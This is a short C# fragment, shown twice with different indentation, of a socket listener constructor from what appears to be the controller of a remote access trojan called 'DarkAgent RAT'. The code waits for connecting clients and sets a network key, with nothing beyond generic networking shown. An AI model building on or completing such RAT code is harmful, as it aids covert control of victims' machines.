public RatClientListener(int port, int key)
 {
     try
     {
         _listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         _listener.Bind(new IPEndPoint(IPAddress.Any, port));
         _listener.Listen(100);
         RatClientProcessor processor = new RatClientProcessor();
         RatClientProcessor.SetNetworkKey(key);
         _listener.BeginAccept(OnClientAccept, null);
     }
     catch
     {
         MessageBox.Show("Unable to listen at port " + port.ToString(), "DarkAgent RAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
        public RatClientListener(int port, int key)
        {
            try
            {
                _listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                _listener.Bind(new IPEndPoint(IPAddress.Any, port));
                _listener.Listen(100);
                RatClientProcessor processor = new RatClientProcessor();
                RatClientProcessor.SetNetworkKey(key);
                _listener.BeginAccept(OnClientAccept, null);
            }
            catch
            {
            	MessageBox.Show("Unable to listen at port " + port.ToString(), "DarkAgent RAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }

        }